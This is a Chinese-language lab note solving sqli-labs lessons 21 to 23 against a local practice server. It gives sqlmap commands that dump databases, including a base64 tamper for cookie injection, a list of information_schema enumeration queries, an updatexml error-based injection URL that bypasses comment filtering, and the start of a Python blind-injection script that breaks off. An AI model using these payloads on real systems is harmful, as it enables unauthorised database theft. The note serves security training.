sql-labs自动化注入解题笔记（21-25a）

less-21,less-22 (基于base64编码的cookie注入)

sqlmap

header.txt

GET /sqli-labs/Less-21/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/sqli-labs/Less-21/
Cookie: uname=*
Upgrade-Insecure-Requests: 1

python3 sqlmap.py -r header.txt --technique=U  --batch --fresh-queries --dump --dbms=mysql --threads=10 --tamper=base64encode
#使用tamper脚本base64encode.py对payload进行base64编码

python脚本

less-23(过滤注释符# --的GET注入)

思路

使用 and ‘1’ ='1 闭合多余的引号

【payload】

查看当前数据库名：select database();
查看当前用户名：select user();
查看所有数据库名：show databases;
查看数据库中所有表名：show tables;
数据库的个数：SELECT count(schema_name) from information_schema.schemata
数据库名的长度：SELECT length(schema_name) from information_schema.schemata limit 0,1
数据库名：SELECT schema_name from information_schema.schemata
表的个数：SELECT count(table_name) from information_schema.tables where table_schema="数据库名"
表名的长度：SELECT length(table_name) from information_schema.tables where table_schema="数据库名" limit 0,1
表名：SELECT table_name from information_schema.tables where table_schema="数据库名"
字段的个数：SELECT count(column_name) from information_schema.columns where table_name="表名" and table_schema="数据库名"
字段名的长度：SELECT length(column_name) from information_schema.columns where table_name="表名" and table_schema="数据库名" limit 0,1
字段名：SELECT column_name from information_schema.columns where table_name="表名" and table_schema="数据库名"
值的个数：SELECT count(字段名) from 数据库名.表名
值的长度：SELECT length(字段名) from 数据库名.表名 linit 0,1
值：SELECT 字段名 from 数据库名.表名

payload结构

http://127.0.0.1/sqli-labs/Less-23/?id=1' and (updatexml(1,concat(0x7e,(【payload】 limit 0,1),0x7e),1)) and '1'='1

自动化注入

sqlmap

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-23/?id=1"  --technique=B  --batch --fresh-queries --dump --dbms=mysql --threads=10

python脚本

import requests
import threading
import queue
from lxml import etree


NUM=5  #线程数
LIST=[]
headers = {
   'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'}


class TimeTheBlinds(threading.Thread):
    def __init__(self,url